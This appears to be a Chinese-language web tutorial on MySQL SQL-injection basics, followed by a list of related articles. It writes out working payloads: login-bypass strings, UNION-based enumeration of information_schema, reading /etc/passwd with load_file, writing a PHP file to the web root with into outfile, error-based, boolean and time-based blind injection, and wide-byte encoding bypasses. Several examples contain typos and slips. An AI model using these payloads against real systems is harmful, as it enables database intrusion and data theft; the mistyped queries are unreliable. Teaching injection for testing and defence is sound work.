sql注入之必備的基礎(chǔ)知識(shí)
什么是SQL注入(SQL Injection)
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請(qǐng)求的查詢字符串,欺騙服務(wù)器執(zhí)行惡意的SQL命令。在某些表單中,用戶輸入的內(nèi)容直接用來構(gòu)造(或者影響)動(dòng)態(tài)SQL命令,或作為存儲(chǔ)過程的輸入?yún)?shù),這類表單特別容易受到SQL注入式攻擊。
mysql常用注釋
#
--[空格]或者是--+
/*…*/
在注意過程中,這些注釋可能都需要進(jìn)行urlencode。
mysql認(rèn)證繞過
;%00
‘ or 1=1 #
‘ /*!or */ 1=1 --+
mysql連接符
mysql中使用+來進(jìn)行連接。
select * from users where username='zhangsan' and "ab"="a"+"b";
mysql中常見函數(shù)
在進(jìn)行sql注入過程中,會(huì)使用到mysql中的內(nèi)置函數(shù)。在內(nèi)置函數(shù)中,又分為獲取信息的函數(shù)和功能函數(shù)。
信息函數(shù)是用來獲取mysql中的數(shù)據(jù)庫的信息,功能函數(shù)就是傳統(tǒng)的函數(shù)用來完成某項(xiàng)操作。
常用的信息函數(shù)有:
database() ,用于獲取當(dāng)前所使用的數(shù)據(jù)庫信息
version():返回?cái)?shù)據(jù)庫的版本,等價(jià)于@@version
user():返回當(dāng)前的用戶,等價(jià)如current_user參數(shù)。如:
select user(); #root@localhost select current_user; #root@localhost
@@datadir,獲取數(shù)據(jù)庫的存儲(chǔ)位置。
select @@datadir; #D:\xampp\mysql\data\
常見的功能函數(shù)有:
load_file():從計(jì)算機(jī)中載入文件,讀取文件中的數(shù)據(jù)。
select * from users union select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16進(jìn)制繞過單引號(hào)限制
into outfile:寫入文件,前提是具有寫入權(quán)限
select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php'; select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';
concat():返回結(jié)果為連接參數(shù)產(chǎn)生的字符串。如果其中一個(gè)參數(shù)為null,則返回值為null。
用法如下:
select concat(username,password)from users;
*concat_ws() :是concat_ws()的特殊形式,第一個(gè)參數(shù)是分隔符,剩下的參數(shù)就是字段名。
select concat_ws(',',username,password) from users;
group_concat() :用于合并多條記錄中的結(jié)果。
用法如下:
select group_concat(username) from users; #返回的就是users表中所有的用戶名,并且是作為一條記錄返回。
subtring() ,substr():用于截?cái)嘧址?。用法?substr(str,pos,length) ,注意pos是從1開始的。
select substr((select database()),1,1);
ascii():用法返回字符所對(duì)應(yīng)的ascii值。
select ascii('a'); #97
length():返回字符串的長度。
如:
select length("123456") #返回6
is(exp1,exp2,exp2):如果exp1的表達(dá)式是True,則返回exp2;否則返回exp3。
如:
select 1,2,if(1=1,3,-1) #1,2,3 selecrt 1,2,if(1=2,3,-1) #1,2,-1
以上就是在進(jìn)行sql注入工程中常用的函數(shù)。當(dāng)然還存在一些使用的不是很多的函數(shù)。
now():返回當(dāng)前的系統(tǒng)時(shí)間
hex():返回字符串的16進(jìn)制
unhex():反向的hex()的16進(jìn)制
@@basedir():反向mysql的安裝目錄
@@versin_compile_os:操作系統(tǒng)
mysql數(shù)據(jù)庫元信息
在mysql中存在information_schema是一個(gè)信息數(shù)據(jù)庫,在這個(gè)數(shù)據(jù)庫中保存了Mysql服務(wù)器所保存的所有的其他數(shù)據(jù)庫的信息,如數(shù)據(jù)庫名,數(shù)據(jù)庫的表,表的字段名稱
和訪問權(quán)限。在informa_schema中常用的表有:
schemata:存儲(chǔ)了mysql中所有的數(shù)據(jù)庫信息,返回的內(nèi)容與show databases的結(jié)果是一樣的。
tables:存儲(chǔ)了數(shù)據(jù)庫中的表的信息。詳細(xì)地描述了某個(gè)表屬于哪個(gè)schema,表類型,表引擎。
show tables from secuiry的結(jié)果就是來自這個(gè)表
columns:詳細(xì)地描述了某張表的所有的列以及每個(gè)列的信息。
show columns from users的結(jié)果就是來自這個(gè)表
下面就是利用以上的3個(gè)表來獲取數(shù)據(jù)庫的信息。
select database(); #查選數(shù)據(jù)庫 select schema_name from information_schema.schemata limit 0,1 #查詢數(shù)據(jù)庫 select table_name from information_schema.tables where table_schema=database() limit 0,1; #查詢表 select column_name from information_schema.columns where table_name='users' limit 0,1; #查詢列
sql注入類型
sql注入類型大致可以分為常規(guī)的sql注入和sql盲注。sql盲注又可以分為基于時(shí)間的盲注和基于網(wǎng)頁內(nèi)容的盲注。
關(guān)于sql的盲注,網(wǎng)上也有很多的說明,這里也不做過多的解釋。關(guān)于盲注的概念,有具體的例子就方便進(jìn)行說明。
延時(shí)注入中,常用的函數(shù)就包括了if()和sleep()函數(shù)。
基本的sql表達(dá)式如下:
select * from users where id=1 and if(length(user())=14,sleep(3),1); select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);
寬字節(jié)注入
關(guān)于寬字節(jié)注入,可以參考寬字節(jié)注入詳解。寬字節(jié)輸入一般是由于網(wǎng)頁編碼與數(shù)據(jù)庫的編碼不匹配造成的。對(duì)于寬字節(jié)注入,使用%d5或%df繞過
mysql常用語句總結(jié)
常規(guī)注入
1' order by num # 確定字段長度 1' union select 1,2,3 # 確定字段長度 -1' union select 1,2,3 # 判斷頁面中顯示的字段 -1' union select 1,2,group_concat(schema_name) from information_schema.schemata #顯示mysql中所有的數(shù)據(jù)庫 -1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) # -1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 # -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 # -1' union select 1,2,3 AND '1'='1 在注釋符無法使用的情況下
雙重SQL查選
select concat(0x3a,0x3a,(select database()),0x3a,0x3a); select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables; select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #這種sql語句的寫法,常用于sql的盲注。得到數(shù)據(jù)庫的信息 select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到數(shù)據(jù)庫的表的信息 #利用姿勢(shì)如下: 1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
這種利用姿勢(shì)是通過mysql執(zhí)行sql命令時(shí)的報(bào)錯(cuò)信息來得到所需要的信息的,在接下來的文章中會(huì)對(duì)這種寫法進(jìn)行詳細(xì)地分析。
bool盲注
1' and ascii(substr(select database(),1,1))>99 1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90
bool盲注就是根據(jù)sql語句執(zhí)行返回值是True或False對(duì)應(yīng)的頁面內(nèi)容會(huì)發(fā)生,來得到信息。
time盲注
1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) + 1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+
上述的2種寫法都是等價(jià)的,time盲注余常規(guī)的sql注入方法不同。time盲注需要一般需要使用到if()和sleep()函數(shù)。然后根據(jù)頁面返回內(nèi)容的長度,進(jìn)而知道sleep()函數(shù)是否有執(zhí)行。
根據(jù)sleep()函數(shù)是否執(zhí)行來得到所需的信息。
總結(jié)
以上就是sql注入之必備的基礎(chǔ)知識(shí),接下來的文章將會(huì)通過實(shí)例詳細(xì)地講解sql注入中的知識(shí),今天的這篇文章也主要是作為一個(gè)基礎(chǔ)知識(shí)。對(duì)sql注入感興趣的朋友們請(qǐng)繼續(xù)關(guān)注腳本之家哦。
相關(guān)文章
Dbeaver如何從一個(gè)數(shù)據(jù)庫復(fù)制表到另外一個(gè)數(shù)據(jù)庫
在數(shù)據(jù)庫管理中,導(dǎo)出表是一項(xiàng)常見操作,可以通過特定的工具或數(shù)據(jù)庫自帶的功能實(shí)現(xiàn),步驟包括:1.在數(shù)據(jù)庫管理軟件中找到需導(dǎo)出的表,右鍵選擇導(dǎo)出數(shù)據(jù),2.選擇目標(biāo)數(shù)據(jù)庫,并進(jìn)行表映射設(shè)置,3.根據(jù)需求調(diào)整導(dǎo)出參數(shù),4.執(zhí)行操作完成數(shù)據(jù)導(dǎo)出2024-10-10
SQL注入滲透測(cè)試以及護(hù)網(wǎng)面試題和解答總結(jié)
現(xiàn)在SQL注入仍然是最流行的攻擊方法之一,開發(fā)人員為此頭疼,下面這篇文章主要給大家介紹了關(guān)于SQL注入滲透測(cè)試以及護(hù)網(wǎng)面試題和解答的相關(guān)資料,文中通過實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2022-01-01
數(shù)據(jù)庫之Hive概論和架構(gòu)和基本操作
Hive是一個(gè)構(gòu)建在Hadoop上的數(shù)據(jù)倉庫框架,最初,Hive是由Facebook開發(fā),后臺(tái)移交由Apache軟件基金會(huì)開發(fā),并做為一個(gè)Apache開源項(xiàng)目,感興趣的同學(xué)可以參考閱讀2023-04-04
常用SQL語句優(yōu)化技巧總結(jié)【經(jīng)典】
這篇文章主要介紹了常用SQL語句優(yōu)化技巧,結(jié)合實(shí)例形式對(duì)比分析,總結(jié)了各種常用的SQL優(yōu)化技巧及相關(guān)原理,需要的朋友可以參考下2017-04-04
利用帶關(guān)聯(lián)子查詢Update語句更新數(shù)據(jù)的方法
這篇文章主要介紹了利用帶關(guān)聯(lián)子查詢Update語句更新數(shù)據(jù)的方法,需要的朋友可以參考下2014-08-08
JDBC大批量寫入數(shù)據(jù)到SQLServer2000,記錄數(shù)大于10000
JDBC大批量寫入數(shù)據(jù)到SQLServer2000,記錄數(shù)大于100002009-12-12
一款高顏值且免費(fèi)的 SQL 開發(fā)工具之Beekeeper Studio詳解
今天給大家推薦一款適用于Windows,Linux和Mac的跨平臺(tái)免費(fèi)的開源SQL編輯器和數(shù)據(jù)庫管理應(yīng)用程序 —— beekeeper-studio。對(duì)Beekeeper Studio 安裝使用教程感興趣的朋友一起看看吧2021-09-09

